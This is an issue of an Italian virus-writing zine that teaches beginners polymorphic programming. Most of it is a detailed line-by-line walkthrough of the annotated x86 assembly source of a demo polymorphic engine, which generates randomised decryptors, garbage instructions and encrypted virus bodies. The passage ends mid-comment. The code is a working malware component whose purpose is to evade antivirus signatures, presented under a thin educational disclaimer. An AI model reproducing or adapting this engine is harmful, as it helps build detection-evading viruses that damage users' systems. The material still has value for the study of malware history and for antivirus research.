Minima Anonyma Tabularia Ex Reti

nihil vacuum neque sine signo apud MATER

Liber Decimus

 

Questa è la zine ufficiale di Familia, un gruppo che ha come oggetto di studio la programmazione virale.

MATER ha come scopo l’esame delle tecniche di programmazione virale e delle problematiche ad esse associate. Questa è una raccolta di contributi volontari (e non) di alcuni code-writers del pianeta, in lingua italiana ed è rivolta soprattutto a chi si avvicina per la prima volta al mondo dei virus e necessita dei concetti di base che spesso sono dati per scontati nelle zines reperibili in Rete. Non è, tuttavia, una esemplificazione discorsiva priva di contenuto tecnico: per comprendere gli esempi ivi contenuti è necessaria una minima conoscenza dell’architettura di un elaboratore e del linguaggio assembler.

E’ nostra convinzione che una migliore conoscenza delle metodologie infettive digitali sia la principale strada per accrescere la sicurezza degli utenti e fornire un contributo a chi opera nel settore della programmazione. Ritenendo il vero nemico della sicurezza la disinformazione, auspichiamo che una più profonda comprensione in questo campo dissipi i dubbi, aiuti la ricerca e contribuisca al progresso dell’educazione informatica. Sursum Corda ! 

 

 

ATTENZIONE

Questa pubblicazione contiene informazioni e codice sorgente relativi alla sicurezza informatica. Lo scopo di queste informazioni è di aiutare gli utenti ad accrescere la propria capacità di programmazione. Questo materiale è a puro scopo didattico e non include codice distruttivo né documenti attinenti ad alcuna attività illegale. Si declina ogni responsabilità nel caso chiunque utilizzi le suddette informazioni per creare, compilare e diffondere intenzionalmente programmi diretti a danneggiare o interrompere un sistema informatico o telematico, ovvero a provocarne l'interruzione, totale o parziale, o l'alterazione del suo funzionamento Art. 615-quinquies (Legge n. 547/93 pubblicata in Gazzetta Ufficiale n. 305 del 30.12.1993)

 

 

 

 § MATER Liber Decimus §

 

   POLIMORFISMO - 4

 

1.un esempio di Motore Polimorfico.

 

[DPE] - Demo Poly Engine (basata sulla SPWM)

di b0z0/iKX, Luglio 1998

 

La DPE esaminata è un MP abbastanza semplice, di tipo didattico/dimostrativo.

Come afferma il suo autore, b0z0/iKX, essendo solo una poly di esempio, manca di moltissime cose che una vera poly dovrebbe avere. Tuttavia la sua semplicità la rende adatta al nostro scopo. Le RC risultanti risultano relativamente corte. I registri usati come puntatori sono BX, SI e DI, mentre come counter e pointer può essere utilizzato qualsiasi registro tranne l'AX (e SP). La crittazione avviene con un’istruzione SUB/ADD/XOR con chiave fissa o variabile, modificata ad ogni loop. La modifica della chiave avviene con un SUB, ADD o XOR con un immediato a 16 bit. La generazione di istruzioni garbage e'creata usando una tabella di riferimento.

 

Input:

       DS:DI   = Puntatore alla zona di memoria dove mettere il risultato

       DS:SI   = Puntatore al codice da crittare

       BP      = Offset al quale questo codice verra' eseguito

       CX      = Numero di bytes da crittare

 

Output:

       DS:DX   = Pointer al codice generato

       CX      = Lunghezza del codice (decr + codice crittato) generato

 

----------------------------------------------------------------------------------

poly:

                push    di

 

; Innanzitutto verranno salvati certi registri che ci serviranno piu' tardi

; nel corso della scrittura del decryptor. Vengono anche inizializzate

; alcune variabili nel codice (cambio chiave) e zone di memoria (lista delle operazioni

; gia' eseguite) che vengono cambiate dalla poly engine ad ogni esecuzione

 

       mov     word ptr ds:[lenght],cx      ; lunghezza

       mov     word ptr ds:[given_si],si    ; puntatore a cosa crittare

       xor     ax,ax                        ; AX = 0

 

; AX azzera 2 bytes alla volta

 

       mov     word ptr ds:[change_key],ax   ; num.cambi chiave + decr.contatore

       mov     word ptr ds:[change_key+2],ax ; incr. punatat. + op.mat.crittazione

       mov     word ptr ds:[change_key+4],ax ; 2 variabili

 

       dec     ax                             ; 0ffh

       mov     word ptr ds:[already_pnt],ax   ; registro come punt. + reg.come contat. 

       mov     byte ptr ds:[already_pnt+2],al ; registro come chiave (byte)

 

       mov     ax,9090h                       ; 90h = opcode di NOP

       mov     word ptr ds:[modify_key],ax    ; cambio chiave (2 words)

       mov     word ptr ds:[modify_key+2],ax  ; vedi sopra

       mov     word ptr ds:[pre_chk],ax       ; cambio chiave iniziale (2 words)

       mov     word ptr ds:[pre_chk+2],ax     ; vedi sopra

 

;----------------------------------------------------------------------------------

; Nel seguente loop do_pnt_cnt verranno create in sequenza random le sequenze

; di inizializzazione:

; - inizializzazione contatore

; - inizializzazione puntatore codice da decrittare

; - inizializzazione chiave (opzionale)

 

       mov     cx,03h                  ; tre operazioni da creare

do_pnt_cnt:

       mov     si,offset already_pnt   ; pointer, counter, key…

       mov     bx,si                   ; attenzione a questa memorizzazione

       call    sorta_random            ; genera numero random e lo mette in AX

       and     al,011b                 ; AND con 3 (11b), il  numero varia da 0 a 3

       cmp     al,011b                 ; è uguale a tre ?

       je      do_pnt_cnt              ; sì, allora torna su

 

; a questo punto al può essere 0, 1 o 2. Ricordiamo che SI = offset di already_pnt, a

; cui seguono already_cnt (+1) e already_key (+2). Se tali locazioni contengono 0ffh

; non sono ancora state utilizzate per memorizzare i dati.

 

       xor     ah,ah                   ; AX = 0

       add     si,ax                   ; in SI = offset already_pnt + 0 / 1 / 2

       cmp     byte ptr ds:[si],0ffh   ; abbiamo gia' eseguito questa

       jne     do_pnt_cnt              ; operazione?

 

; crea il puntatore alla tabella init_offs che contiene gli offset alle funzioni di

; inizializzazione. Le funzioni di inizializzazione sono tre, e vengono chiamate in

; maniera casuale in base al contenuto di AL, che può essere 0, 2, o 4. AL viene

; raddoppiato perché gli offset della tabella init_offs sono costituiti da words

 

       push    si                      ; preserva SI

       shl     al,1                    ; *2 come detto sopra

       add     ax,offset init_offs     ; in AX offset tabella con offset funzioni

       mov     si,ax                   ; AX = 0/2/4

       mov     ax,word ptr ds:[si]     ; SI = 0/2/4

       pop     si                      ; ripristina SI 

       call    ax                      ; call all’indirizzo di init_offs

next_inits:

       call    random_garbage          ; tra l'una e l'altra garbage

       loop    do_pnt_cnt              ; lo esegue per tre volte (CX = 3)

 

;----------------------------------------------------------------------------------

; Adesso la parte di inizializzazione dei registri per il loop e' pronta

; Quindi da qui in avanti sara' creato il loop di decrittazione

 

       mov     word ptr ds:[decr_begin],di     ; segnala inizio loop (indir.inizio)

       call    random_garbage                  ; scrive qualche istruzione garbage

 

; Nel seguente loop incdec_pntcnt dobbiamo eseguire le 6 operazioni necessarie

; nel decryption loop e piu' precisamente:

;  - Incrementare il pointer alla prossima word (Incrementiamo di uno 2 volte)

;  - Decrementare il counter di due (Decrementiamo di uno 2 volte)

;  - Cambiare la chiave di crittazione (se la chiave e' usata)

;  - Eseguire l'operazione matematica di decrittazione

; Le operazioni vengono svolte in ordine casuale. L'ordine di certe operazioni

; (l'incremento del pointer e il cambio della chiave) pero' influenza certe

; altre (operazione matematica di decrittazione) e percio' dovremo fare

; attenzione proprio a questo in certi casi.

;

; la routine RC potrebbe essere del tipo, se cx = counter e di = pointer

;

;   loop:

;      dec cx

;      inc  di

;      xor  [di],036h     (puo' essere add/sub/xor e anche con key)

;      dec cx

;      inc  di

;      cmp  cx,0          (possono essere vari tipi derivati dalla cntr_checks)

;      je   esci_dal_loop

;      jmp  loop

;   esci_dal_loop:

;

; quindi due decrementi del counter, due incrementi del pointer, una operazione

; matematica sulla memoria e in piu' il check di fine loop. in caso venga usato un

; registro per la chiave di decrittazione allora ci puo' essere qualche istruzione che

; modifica l'istruzione (generata dalla routine do_changekey). Come già detto la sequenza

; delle varie operazioni non e'fissa. Inoltre tra un’istruzione e l’altra (tranne il

; check finale e il salto indietro ad inzio loop) ci sono istruzioni garbage.

;

;----------------------------------------------------------------------------------

 

       mov     cx,06                   ; sei operazioni

incdec_pntcnt:                         ;

       mov     si,offset change_key   

       call    sorta_random_07         ; ricava un num. casuale tra 0 e 7 in AX

       and     al,11b                  ; ora il numero è tra 0 e 3

 

; ricordiamo che:

;         change_key = cambio chiave      offset 0

;         dec_cnt    = decr. contatore    offset change_key + 1

;         inc_pnt    = incre. puntatore   offset change_key + 2

;         math_op    = oper. crittazione  offset change_key + 3

 

       add     si,ax                   ; offset change_key + 0/1/2/3

       cmp     byte ptr ds:[si],02     ; gia' fatte due di queste?

       je      incdec_pntcnt

 

       inc     byte ptr ds:[si]

 

; crea il puntatore alla tabella loop_offs che contiene gli offset alle funzioni del

; loop di decrittazione. Le funzioni sono quattro, e come detto spra vengono chiamate

; in maniera (quasi) casuale in base al contenuto di AL, che può essere 0, 2, 4, o 6.

; AL viene raddoppiato perché gli offset della tabella sono costituiti da words

 

       push    si                      ; preserva…

       shl     al,1                    ; moltiplica per due per offset word

       add     ax,offset loop_offs     ; in AX offset tabella con offset funzioni

       mov     si,ax                   ; AX = 0/2/4/6

       mov     ax,word ptr ds:[si]     ; SI = 0/2/4/6

       pop     si                      ; e ripsristina

       call    ax                      ; call all’indirizzo loop_offs

next_loop:

       call    random_garbage          ;

       loop    incdec_pntcnt           ;

 

;----------------------------------------------------------------------------------

; Il contenuto del loop di decrittazione e' stato creato. Adesso dobbiamo

; ancora fare il check finale se la decrittazione e' finita e in base al

; risultato uscire dal loop o rientrarci.

 

; get_cntrchk crea una delle possibili istruzioni che ci permettono di

; controllare se il contatore e' uguale a zero, quindi se la decrittazione

; e' finita

get_cntrchk:

       call    sorta_random_07         ; cinque tipi in tutto

       cmp     al,04                   ; da 0 a 5

       ja      get_cntrchk

 

       mov     si,offset cntr_checks   ; sulla tabella delle possibili

       add     si,ax                   ; variazioni + offset rnd

       mov     ah,byte ptr ds:[si]

       mov     al,083h                 ; prefisso fisso x quel tipo

                                                ; di opcodes

       add     ah,byte ptr ds:[already_cnt]

       stosw                           ; aggiungiamo i bit in base

                                                ; al counter e mettiamo in buffer

;----------------------------------------------------------------------------------

; in definitiva risulta una codifica del tipo:

; CMP reg16,imm8 – opcode 83h/7, imm8

; XOR reg16,imm8 – opcode 83h/6, imm8

; OR  reg16,imm8 – opcode 83h/1, imm8

; SUB reg16,imm8 – opcode 83h/5, imm8

; ADD reg16,imm8 – opcode 83h/0, imm8

; dove il valore di AH è calcolato sulla base dei valori della tabella:

; cntr_checks  db  0c0h,0c8h,0e8h,0f0h,0f8h

;----------------------------------------------------------------------------------

 

       in      al,40h

       mov     cl,al                   ; possiamo fare il check

       xor     al,al                   ; sia considerando lo 0

       ror     cl,1                    ; come byte o come word

       jnc     with_byte

       sub     byte ptr ds:[di-2],02h  ; se con word allora cambia

                                                ; il byte di prefisso in 81h

       stosb

with_byte:

       stosb

 

; Crea il jump zero corto che salta il jump lungo che invece salta al loop

; del decryptor

       mov     ax,0374h

       stosw               

 

; Crea il jump che salta di nuovo all'inizio del loop di decryption

       mov     al,0e9h                 ; opcode jump long

       stosb

       mov     ax,di

       sub     ax,word ptr ds:[decr_begin]

       inc     ax                      ; calcola offset all'inizio

       inc     ax                      ; del loop di decrittazione

       neg     ax

       stosw

 

; A questo punto tutto quanto e' pronto. viene aggiunto ancora un po' di

; istruzioni garbage con tutti i registri per migliorare l'effetto

         xor     ax,ax                 ; pulizia

         dec     ax

         mov     word ptr ds:[already_pnt],ax

         mov     word ptr ds:[already_pnt+2],ax

 

         call    random_garbage

 

         mov     bx,0fh

         call    garbage                 ; un po' + di garbage x evitare

         call    random_garbage          ; problemi di prefetch

 

         mov     ax,di

         sub     ax,bp

         mov     si,word ptr ds:[pointer_ass]

 

; finiamo l'inizializzazione del pointer al codice crittato

 

         mov     word ptr ds:[si],ax    

 

;----------------------------------------------------------------------------------

; Da qui in avanti tutto quello che viene messo su DS:DI sara' crittato,

; infatti il pointer e' appena stato assegnato sopra

 

       push    di

       call    random_garbage          ; Anche un po' di garbage

       pop     ax                      ; crittata

 

       mov     cx,di                   ; quanti bytes di garbage ?

       sub     cx,ax                   ; crittata

 

       push    cx

       mov     si,word ptr ds:[counter_ass]

       mov     dx,word ptr ds:[si]     ; aggiorniamo il counter

       push    dx                      ; anche con la garbage crittata

       add     dx,cx

       inc     dx

       and     dl,0feh                 ; teniamo sempre pari dato

       mov     word ptr ds:[si],dx     ; che crittiamo words senza

       pop     cx                      ; fare troppi check

 

; DX ha adesso la lunghezza del decryptor + encrypted garbage + encrypted body

 

       mov     si,word ptr ds:[given_si]

       push    di

       rep     movsb                   ; copiamo quello che si vuole

       pop     di                      ; crittare (ricevuto in input

       pop     ax                      ; come DS:SI)

       sub     di,ax

 

;----------------------------------------------------------------------------------

; E infine ci apprestiamo a crittare il tutto. I primi due test sono fatti

; per vedere se dobbiamo correggere il puntatore o la chiave in base alla

; sequenza nella quale sono state generate le istruzioni nell'encryption

; loop.

; Dopodiche' verra' eseguito il loop di crittazione, dove ovviamente le

; istruzioni attuali verranno rimpiazzate con quelle scelte e generate nel

; corso dell'esecuzione del motore polimorfo.

 

       xor     ah,ah

       mov     al,byte ptr ds:[pnt_sba]

       add     di,ax

 

       mov     cx,word ptr ds:[initial_key]

       dec     byte ptr ds:[pre_kdn]

       jnz     encrypt_loop

 

pre_chk         db      90h,90h,90h,90h         ; spazio per il cambio chiave

                                                ; iniziale

encrypt_loop:

                db      31h,0dh                 ; xor [di],cx

modify_key:

                db      90h,90h,90h,90h         ; spazio per il cambio chiave

       inc     di

       dec     dx

       inc     di

       dec     dx

       or      dx,dx

       jnz     encrypt_loop

 

       mov     cx,di

       pop     dx

       sub     cx,dx                   ; lunghezza totale

       ret                             ; fine

 

;----------------------------------------------------------------------------------

; tabella con basi numeriche per codificare le istruzioni per la crittazione

; (ADD,XOR,SUB) e relativa istruzione per la decrittazione (SUB,XOR,ADD)

; Questi NON sono gli opcode delle istruzioni ADD/SUB/XOR ma dei numeri che poi

; serviranno per la codifica delle istruzioni di crittazione/decrittazione

; e’ una sorta di ottimizzazione.

 

mathadds  db      01h,29h    ; ADD SUB

          db      31h,31h    ; XOR XOR

          db      29h,01h    ; SUB ADD

 

;----------------------------------------------------------------------------------

; Possibili modi per controllare che il contatore sia 0 (cmp,xor,or,sub,add)

cntr_checks     db      0c0h,0c8h,0e8h,0f0h,0f8h

 

;----------------------------------------------------------------------------------

; Tabella con gli offset per le tre operazioni di inizializzazione pre-loop

; in pratica funziona come uno switch. Attenzione: sono words !

 

init_offs   dw      offset do_pointer      ; SI = 0

            dw      offset do_counter      ; SI = 1

            dw      offset do_setkey       ; SI = 2

 

;----------------------------------------------------------------------------------

; Tabella con gli offset per le operazioni del loop

loop_offs   dw      offset do_changekey    ; SI = 0

            dw      offset dec_cnt         ; SI = 1

            dw      offset inc_pnt         ; SI = 2

            dw      do_mathop              ; SI = 3

 

poly_marker_ver db      0,'-[DPE]-',0

 

;----------------------------------------------------------------------------------

; do_pointer crea l'istruzione per l'inizializzazione del puntatore al

; codice crittato

; ricordiamo che:

;   AX   CX   DX   BX   SP   BP   SI   DI  -> registro

;    0    1    2    3    4    5    6    7  -> numero registro

;   no    no  no   si   no   no   si   si  -> possibile utilizzo   

; 

; ricordiamo inoltre che in BX c’è l’offset di already_pnt (a cui segue counter, key…,

; ognuno di un byte).

; quando il controllo arriva qui SI = 0

 

do_pointer:

       call    sorta_random_07         ; in AX casuale da 0 a 7

       cmp     al,byte ptr ds:[bx+2]   ; non lo stesso numero usato x la key

       je      do_pointer              ; se già stata chiamata

 

       cmp     al,byte ptr ds:[bx+1]   ; non lo stesso numero usato x il cntr

       je      do_pointer

 

       cmp     al,03                 ; BX potrebbe andare bene. Vai

       je      ok_selected

 

       cmp     al,6                  ; non SP e BP, ma solo >, cioe'

       jb      do_pointer            ; SI e DI (quindi possibili solo BX,SI,DI)

 

; a questo punto in [SI] è l’indirizzo di already_pnt+0 e in AL il numero registro

; con add, 0b8h abbiamo come risultato nel buffer di salvataggio DS:DI = 06h + 0b8h =

; MOV BX , imm. Ricordiamo che STOSB o STOSW aggiornano il puntatore a [DI]

 

ok_selected:

       mov     byte ptr ds:[si],al     ; Salva registro usato +

       add     al,0b8h                 ; base di MOV reg16,imm

       stosb                           ; scrive l’istruzione (AL -> [DI]+1)

 

; ricordiamo che alla locazione [bx-8] troviamo pointer_ass

; con la seguente istruzione salviamo la posizione dell’assegnazione del puntatore

; per aggiornarla in seguito

 

       mov     word ptr ds:[bx-8],di   ; salvataggio

       stosw                           ; scrive AX (AX -> [DI]+2)

       ret

 

;----------------------------------------------------------------------------------

; do_counter crea l'inizializzazione del registro che fungera' da counter

; quando il controllo arriva qui SI = 1

 

do_counter:

       call    sorta_random_07

       cmp     al,04h                  ; no SP (registro n.4)

       je      do_counter

 

       or      al,al                   ; Non usare AX (registro n.0)

       jz      do_counter

 

       cmp     al,byte ptr ds:[bx]     ; Non usare lo stesso del pntr (BX=already_pnt)

       je      do_counter

 

       cmp     al,byte ptr ds:[bx+2]   ; Non usare lo stesso della key

       je      do_counter

 

; a questo punto in [SI] è l’indirizzo di already_pnt+1 e in AL il numero registro

; con add, 0b8h abbiamo come risultato nel buffer di salvataggio DS:DI = 06h + 0b8h =

; MOV BX , imm. Ricordiamo che STOSB o STOSW aggiornano il puntatore a [DI]

 

       mov     byte ptr ds:[si],al     ; Salva registro usato +

       add     al,0b8h                 ; base di un MOV reg16,imm

       stosb                           ; scrive Al -> DS:[DI]+1 

 

not_zeromore:

 

; Critteremo un po' di piu' del dovuto per dare maggior variazione ai risultati

 

       call    sorta_random_07         ; AX da 0 a 7

       or      al,al                   ; elimina lo zero

       jz      not_zeromore            ;

       add     ax,word ptr ds:[bx-0ah] ; in AX offset length

       mov     word ptr ds:[bx-2],di   ; salva posizione di assegn. (decr_begin)

       stosw                           ; salva lunghezza in [DI]+2

       mov     word ptr ds:[bx-0ah],ax

       ret

 

;----------------------------------------------------------------------------------

; do_setkey crea l'inizializzazione del valore della chiave per la

; decrittazione

; 50% delle probabilita' che si usi la chiave, 50% che sia fatto con chiave fissa

; quando il controllo arriva qui SI = 2

 

do_setkey:

       call    sorta_random            ; AX 0 - 7

       ror     al,1                    ; divide AL/2

       jc      do_with_key             ; chiave variabile. Init

 

       mov     byte ptr ds:[si],0b0h   ; marker chiave fissa

       ret                             ; quindi niente init chiave

 

do_with_key:

       call    sorta_random_07         ; Scegli registro come al

       cmp     al,04                   ; solito (vedi sopra)

       je      do_setkey

 

       or      al,al

       jz      do_with_key

 

       cmp     al,byte ptr ds:[bx]

       je      do_setkey

 

       cmp     al,byte ptr ds:[bx+1]

       je      do_setkey

 

       mov     byte ptr ds:[bx+2],al

       add     al,0b8h

       stosb

 

       call    sorta_random

       stosw

       mov     word ptr ds:[bx-6],ax   ; salva AX in initial_key

       ret

 

;----------------------------------------------------------------------------------

; do_mathop crea l'istruzione matematica per la decrittazione e prepara la

; relativa istruzione per la crittazione nell'encryption loop

; quando il controllo arriva qui SI = 3

;

; la routine costruisce un'istruzione del tipo:

;            crittazione           decrittazione

;        ADD [reg], imm16         SUB [reg], imm16 oppure

;        XOR [reg], imm16         XOR [reg], imm16 oppure

;        SUB [reg], imm16         ADD [reg], imm16 oppure

; con imm16 = chiave (numero casuale) e memorizza i vari bytes

; con :

;

; 1° stosb -> inserisce in buffer byte opcode di ADD/SUB/XOR

; 2° stosb -> inserisce in buffer byte ModR/M con registro

; 3° stosw -> inserisce in buffer 2 bytes chiave di decrittazione.

;----------------------------------------------------------------------------------

do_mathop:

       push    cx

       inc     byte ptr ds:[si]

resel_mate:

       call    sorta_random_07

       cmp     al,02

       ja      resel_mate

 

; per forzare l'uso di CS: (quindi decrittare con il pointer in base al

; segmento CS e non DS) basta aggiungere:

;      mov    al,02eh                  ; prefisso CS:

;      stosb                           ; mettilo al suo posto

 

       shl     ax,1                    ; AX = 0/2/4

       mov     bx,offset mathadds      ; tabella con numeri per crittazione

       add     bx,ax                   ; BX = [mathadds]+0->ADD, +2->XOR, +4->SUB

 

; nell’istruzione seguente in DX operazione di crittazione e relativa inversa:

; DX = ADD SUB / XOR XOR / SUB ADD (2 bytes a coppia)

;      01h 29h   31h 31h   29h 01h

 

       mov     dx,word ptr ds:[bx]     ; ora in DX crittazione e inversa

 

       cmp     byte ptr ds:[already_key],0b0h  ; marker di chiave fissa

       jne     so_use_key              ; no chiave fissa ?

 

; poniamo che ci sia la chiave fissa. Lo stosb che segue scrive nel buffer

; l'opcode 81h, che è l'opcode comune per ADD, XOR o SUB.

 

       mov     al,081h                 ; crea decrittazione con chiave fissa

       stosb                           ; in [DI] opcode di ADD/XOR/SUB (byte)

 

; in DX opcode di ADD SUB / XOR XOR / SUB ADD (2 bytes)

;                 01h 29h   31h 31h   29h 01h

; ora aggiunge 3 all’opcode ADD/SUB/XOR + 3.

 

       add     dx,0003h                ; questo 3 è necessario per la codifica

 

       mov     al,dl              

       jmp     register_corr

 

; con chiave fissa questo blocco viene saltato

 

so_use_key:             

       mov     al,dl

       stosb

 

       mov     al,byte ptr ds:[already_key]

       dec     al                      ; registro di destinazione

       mov     cl,3                    ; moltiplica per 8

       shl     al,cl

       add     al,0ch                  ; aggiungi base per si,cx

 

; è ora di scegliere ilregistro !

 

register_corr:

       mov     ah,byte ptr ds:[already_pnt]

       cmp     ah,06                   ; usato SI. AL = 100

       jz      store_it

       inc     al                      ;

       cmp     ah,07h                  ; usato DI. AL = 101

       je      store_it

       inc     al                      ;

       inc     al                      ; usato BX. AL = 111

store_it:

       stosb                           ; memorizza il registro

 

       cmp     byte ptr ds:[already_key],0b0h

       jne     so_nothingelse

       call    sorta_random            ; se a chiave fissa metti

 

; e con questo stosw inserisce nel buffer la chiave di decrittazione, o quella iniziale

; in caso la chiave non sia fissa.

 

       stosw                           ; anche la chiave fissa

 

       mov     word ptr ds:[initial_key],ax

so_nothingelse:

       mov     byte ptr ds:[encrypt_loop],dh

       pop     cx

       ret

 

;----------------------------------------------------------------------------------

; ricapitoliamo:

; il valore di AX può variare tra 0/2/4. Ci sono quindi tre casi a seconda del valore

; di AX. Poniamo che il valore iniziale di AX sia 0. le istruzioni

; mov bx, offset mathadds

; add bx,ax

; mov dx, word ptr ds:[bx]

; fanno sì che il contenuto di dx sia dh=29h, dl=01h (ricordiamo che l’Intel memorizza

; i dati al contrario). L’istruzione successiva

; mov al,081h fa sì che il contenuto di AX sia: ah=num.casuale,al=081h. lo stosb

; successivo inserisce il valore di AL (opcode di add/xor/sub) nel buffer. L’istruzione

; add dx,0003h fa sì che il contenuto di dx sia: dh=29h, dl=04h (01h+3h).

; Presupponendo che si stia utilizzando una chiave fissa, lo stosb successivo inserisce

; AL nel buffer.

; quindi nel buffer finora abbiamo, con i due stosb:

;

;  1 byte              2 byte

; 10000001             00000100   

;  opcode            byte modR/M

; ADD/XOR/SUB

;

; e buona parte della codifica è fatta. Ora manca la codifica del registro, che qui

; risulta = 100. A questo ci pensa la routine register_corr.

:

; questo se AX = 0. Con le tre situazioni (AX=0,AX=2,AX=4) risultano le seguenti

; codifiche:

;          --opcode--   R/M-Mod-reg

;                 s w  

; AX = 0 > 100000 0 1   00000  100   quindi 81h /0 imm16, cioè ADD [reg], imm16

; AX = 2 > 100000 0 1   00110  100   quindi 81h /6 imm16, cioè XOR [reg], imm16

; AX = 4 > 100000 0 1   00101  100   quindi 81h /5 imm16, cioè SUB [reg], imm16

;

; il bit w = 1 perché word

; il bit s = 0 perché unsigned (primo byte)

; notiano che il valore R/M è uguale a 00. Quindi non è usato displacement, ma

; semplicemente [reg]. Il 100 finale del byte ModR/M contiene il registro, secondo lo

; schema già visto:

; valore R/M - 00  Mod:                 ­­­

;                  000 - [BX+SI]

;                  001 - [BX+DI]

;                  010 - [BP+SI]

;                  011 - [BP+DI]

;                  100 - [SI]      * registro buono

;                  101 - [DI]      * registro buono

;                  110 - d16

;                  111 - [BX]      * registro buono 

;

; con “registro buono” abbiamo indicato i registri che possiamo utilizzare.

;

; a quel 100 la routine register_corr, verificando il contenuto di

; byte ptr ds:[already_pnt], aggiungerà 0 ad AL se il contenuto è = 6, quindi

; l’istruzione risultante sarà: add [SI], imm16 / xor [SI], imm16 / sub [SI], reg16

; oppure aggiungerà 1 ad AL (AL = 101) con il successivo INC, e l’istruzione

; risultante sarà:  add [DI], imm16 / xor [SI], imm16 / sub [SI], reg16

; oppure aggiungerà 3 ad AL (AL = 111) con i successivi 2 INC, e l’istruzione

; risultante sarà:  add [BX], imm16 / xor [BX], imm16 / sub [BX], reg16

;

; Ora manca il contenuto di imm16. Questo viene ricavato, nel caso della chiave fissa,

; con le due istruzioni:

; call    sorta_random       ; pesca un numero casuale

;         stosw              ; memorizza nel buffer.

;

; In conclusione, nel buffer alla fine della routine c’è una delle seguenti istruzioni

; codificate (abbiamo preso come numero casuale 44177):

;

; se AL = 100

; se AX=0    10000001 00000100 10101100 10010001  cioè ADD [SI], 44177

; se AX=2    10000001 00110100 10101100 10010001  cioè XOR [SI], 44177

; se AX=4    10000001 00101100 10101100 10010001  cioè SUB [SI], 44177

; se AL = 101

; se AX=0    10000001 00000101 10101100 10010001  cioè ADD [DI], 44177

; se AX=2    10000001 00110101 10101100 10010001  cioè XOR [DI], 44177

; se AX=4    10000001 00101101 10101100 10010001  cioè SUB [DI], 44177

; se AL = 111

; se AX=0    10000001 00000111 10101100 10010001  cioè ADD [BX], 44177

; se AX=2    10000001 00110111 10101100 10010001  cioè XOR [BX], 44177

; se AX=4    10000001 00101111 10101100 10010001  cioè SUB [BX], 44177

;----------------------------------------------------------------------------------

 

; do_changekey scrive l'operazione di cambio della chiave. Questa e' un

; ADD/SUB/XOR della chiave con un immediato di 16bit.

; Se prima non e' stato scelto l'utilizzo di una chiave questa procedura

; esce senza fare nulla.

 

do_changekey:

       inc     byte ptr ds:[si]        ; SI = 0

       cmp     byte ptr ds:[already_key],0b0h  ; c’è chiave fissa ? se sì, esci

       jne     get_keyop

       ret

 

;----------------------------------------------------------------------------------

get_keyop:

                call    sorta_random_07

                cmp     al,02

                ja      get_keyop      ; in AL casuale tra 0 e 2 

 

                mov     dh,0c1h        ; add

                or      al,al

                jz      ok_operoc

 

                add     dh,28h          ; sub

                cmp     al,1

                je      ok_operoc

 

                add     dh,8            ; xor

ok_operoc:

                cmp     byte ptr ds:[math_opdone],00h

                jne     no_prez

                inc     byte ptr ds:[pre_kdn]

no_prez:

                mov     al,81h

                mov     ah,dh

                mov     word ptr ds:[modify_key],ax

                dec     ah

                add     ah,byte ptr ds:[already_key]

                stosw

                and     ah,011111000b                   ; Nell'encryptor e'

                or      ah,000000001b                   ; tutto con CX

                mov     word ptr ds:[pre_chk],ax

                call    sorta_random

                stosw

                mov     word ptr ds:[modify_key+2],ax

                mov     word ptr ds:[pre_chk+2],ax

no_changekey:

                ret

 

;----------------------------------------------------------------------------------

; inc_pnt crea l'istruzione per incrementare di uno il pointer (INC reg16)

; dec_cnt crea l'istruzione per decrementare di uno il counter (DEC reg16)

inc_pnt:

       mov     al,byte ptr ds:[already_pnt]

       add     al,40h                       ; INC = opcode 40h + reg. 16 bit

       cmp     byte ptr ds:[math_opdone],00h

       jne     no_prob

       inc     byte ptr ds:[pnt_sba]

no_prob:

       jmp     common_exit

dec_cnt:

       mov     al,byte ptr ds:[already_cnt]

       add     al,48h               ; DEC = opcode 48h + reg.16 bit

common_exit:

       stosb                        ; salva in buffer

       ret

;----------------------------------------------------------------------------------

; routine di generazione numeri casuali

 

sorta_random:

       in      al,40h                  ; num.casuale in AL

       mov     ah,al                   ; sposta in AH

       in      al,40h                  ; num.casuale in AL

       xor     al,ah                   ; filtro

       ret

 

;----------------------------------------------------------------------------------

; routine di generazione numeri casuali tra 0 e 7. Spesso si usa per i registri

 

sorta_random_07:

       call    sorta_random            ; numero casuale in AX

       and     ax,0111b                ; AND con 7, casuale da 0 a 7

       ret

 

;----------------------------------------------------------------------------------

; random_garbage crea un numero random da 1 a 8 di istruzioni garbage

 

random_garbage:

       call    sorta_random_07         ; casuale tra 0 e 7 

       mov     bx,ax                  

       inc     bx                      ; in BX casuale tra 1 e 8

 

; garbage crea BX istruzioni fasulle

garbage:

       push    si

       mov     si,offset already_pnt

 

select_garb_reg:

       call    sorta_random_07         ; scelta registro

 

; nelle istruzioni che seguono viene esaminato il registro pescato casualmente con

; la call soprastante; devono essere scartati tutti i registri già utilizzati e me-

; morizzati in already_pnt -> [SI], already_cnt -> [SI+1], already _key -> [SI+2]

 

       cmp     al,byte ptr ds:[si]    

       je      select_garb_reg

 

       cmp     al,byte ptr ds:[si+1]

       je      select_garb_reg

 

       cmp     al,byte ptr ds:[si+2]

       je      select_garb_reg

 

       cmp     al,4                    ; SP = 4

       je      select_garb_reg         ; SP non si puo’ usare

 

       mov     dl,al                   ; DL contiene il registro buono

 

get_type:

       call    sorta_random            ; scegli tipo di garbage

       and     ax,01fh                 ; AX tra 0 e 31 

 

       cmp     al,31d                  ; operazioni senza registri da 1 byte

       je      just_onebyters          ; o chiamate a interrupt (1 su 31)

 

; a questo punto AX è tra 0 e 30

 

       push    ax

       mov     si,offset base_prefix   ; vedi se istruzione e' formata da

       add     si,ax                   ; 2 bytes, se prefisso=0 allora 1 byte

       mov     al,byte ptr ds:[si]     

       or      al,al                   ; è zero ?

       jz      no_prefix               ; si, niente prefisso

       stosb                           ; se cosi' metti byte di

no_prefix:                                      ; prefisso nel buffer

       pop     ax

 

       push    ax

       mov     si,offset base_ocs      ; metti byte principale del registro

       add     si,ax                   ;

       mov     al,byte ptr ds:[si]

       add     al,dl                   ; con il registro scelto (DL)

       stosb                           ; scrive base_ocs in buffer 

       pop     ax

 

       mov     dl,al

       cmp     dl,13d                  ; le operazioni >= a 13 nella

       jb      garbage_loop            ; tabella hanno un operando

                                                ; immediato tipo byte

       call    sorta_random            ; un operando immediato a caso

       stosb                           ; e lo scrive nel buffer 

 

       cmp     dl,21d                  ; quelle oltre 21 invece ne

       jb      garbage_loop            ; hanno ben due

 

       call    sorta_random            ; prende un operando immediato

       stosb                           ; e lo mette nel buffer 

       jmp     garbage_loop            ; Ok ricomincia

 

;----------------------------------------------------------------------------------

; just_ints crea possibili chiamate ad interrupts. le prime quattro sono da

; interpretarsi come funzioni (quindi byte da mettere in AH) all'int 21h,

